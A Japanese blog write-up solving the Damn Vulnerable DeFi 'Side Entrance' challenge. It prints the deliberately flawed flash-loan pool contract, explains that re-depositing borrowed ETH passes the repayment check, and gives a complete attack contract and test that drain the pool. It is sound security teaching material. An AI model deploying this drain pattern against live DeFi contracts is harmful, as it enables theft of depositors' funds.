Damn Vulnerable DeFiのSide Entranceの解説

Damn Vulnerable DeFi - Side Entrance
0xkeesmark

Damn Vulnerable DeFiのSide Entranceの解説&解答を紹介していきます!

ネタバレを含んでいるので、もしまだ挑戦していない場合は見ないでください!

問題確認

今回のDamn Vulnerable DeFiのSide Entranceのリンクはこちら!

まずは問題の内容を見ていきましょう!

A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.

It has 1000 ETH in balance already, and is offering free flash loans using the deposited ETH to promote their system.

Starting with 1 ETH in balance, pass the challenge by taking all ETH from the pool.

翻訳は

驚くほどシンプルなプールで、誰でもETHを入金し、いつでも引き出すことができる。

すでに1000ETHの残高があり、入金されたETHを使って無料のフラッシュローンを提供し、システムを宣伝している。

残高1ETHからスタートし、プールからすべてのETHを取り出してチャレンジに合格する。

というのが今回の問題です。

文章的にフラッシュローンで何かして盗めそうだな。。と妄想を繰り広げれます。今回は1ETHも持ってるので、色々試せそうでもありますね!

コードを見てみましょう!

コードの中身

SideEntranceLenderPool.solの中身はこちら。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        
        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

テストは以下です。

const { ethers } = require('hardhat');
const { expect } = require('chai');
const { setBalance } = require('@nomicfoundation/hardhat-network-helpers');

describe('[Challenge] Side entrance', function () {
    let deployer, player;
    let pool;

    const ETHER_IN_POOL = 1000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 1n * 10n ** 18n;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, player] = await ethers.getSigners();

        // Deploy pool and fund it
        pool = await (await ethers.getContractFactory('SideEntranceLenderPool', deployer)).deploy();
        await pool.deposit({ value: ETHER_IN_POOL });
        expect(await ethers.provider.getBalance(pool.address)).to.equal(ETHER_IN_POOL);

        // Player starts with limited ETH in balance
        await setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
        expect(await ethers.provider.getBalance(player.address)).to.eq(PLAYER_INITIAL_ETH_BALANCE);

    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

        // Player took all ETH from the pool
        expect(await ethers.provider.getBalance(pool.address)).to.be.equal(0);
        expect(await ethers.provider.getBalance(player.address)).to.be.gt(ETHER_IN_POOL);
    });
});

成功の条件は以下になります。

  • プール内のETHがゼロ
  • PlayerのETHがETHER_IN_POOL以上

です。とりあえず根こそぎプールからETHを盗んでしまえば成功です!次にどうハッキングしたらいいかの考え方を紹介でしいきます。

攻撃の考え方

今回のポイントはflashLoanの関数の内容に注目すると攻撃方法の見え方がわかってきます。

function flashLoan(uint256 amount) external {
    // pool全体のETH残高を取得
    uint256 balanceBefore = address(this).balance;
    // 実行者のコントラクトのexecuteを実行
    IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
    // pool全体のETH残高が減少しているか確認
    if (address(this).balance < balanceBefore)
        revert RepayFailed();
}

今回のflashloanは全体のETHの残高を取得しているとこに注目しましょう!

要するに、プール内に借りる前の残高以上の金額を置いていればこのflashLoanがrevertすることはない。ということです。ということは、flashLoan中に何かをすれば最終的にwithdrawから普通に引き出せちゃうんです。

ちなみに、withdrawの中身も見てみましょう!

function withdraw() external {
    // ユーザーの残高を取得
    uint256 amount = balances[msg.sender];
    // ユーザーの残高をリセット
    delete balances[msg.sender];
    emit Withdraw(msg.sender, amount);
    // ユーザーにETHを送金
    SafeTransferLib.safeTransferETH(msg.sender, amount);
}

自分の残高を引き出してるだけなので、特に脆弱性は見当たりません。

次に実際の攻撃方法を見てみましょう!

解答:攻撃方法

以下の手順で攻撃をしていきます。

  1. 攻撃用のコントラクトを作成
  2. 1のコントラクトからpoolのflashLoanを実行
  3. flashLoan中のETH受け取りの関数で、poolのdeposit()を実行
  4. flashLoan後にwithdrawで全トークン引き出す
  5. Playerに全トークンを送金する

という流れでやっていきます。実際のコードは以下になります。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";
import "./SideEntranceLenderPool.sol";

contract AttackSideEntranceLenderPool {
    SideEntranceLenderPool private pool;
    address private owner;

    constructor(address _pool, address _owner) {
        pool = SideEntranceLenderPool(_pool);
        owner = _owner;
    }

    function attack(uint256 amount) external payable {
        // pool.flashLoanを実行
        pool.flashLoan(amount);
        // pool.withdrawを実行
        pool.withdraw();
        // ownerにETHを送金
        SafeTransferLib.safeTransferETH(owner, address(this).balance);
    }

    function execute() external payable {
        // 1ETHをdeposit
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}

テストは以下です。

it('Execution', async function () {
    /** CODE YOUR SOLUTION HERE */
    const attackContract = await (await ethers.getContractFactory('AttackSideEntranceLenderPool', player)).deploy(pool.address, player.address);
    await attackContract.attack(ETHER_IN_POOL);
});

と言った感じで、1回のトランザクションでスッキリ終わらせることができます!

なので、攻撃できそうな脆弱性を1つずつ確認していくとこのような攻撃方法を割と簡単に見つけることがきます。

ABOUT ME
0xkeesmark
0xkeesmark
Security Researcher
記事URLをコピーしました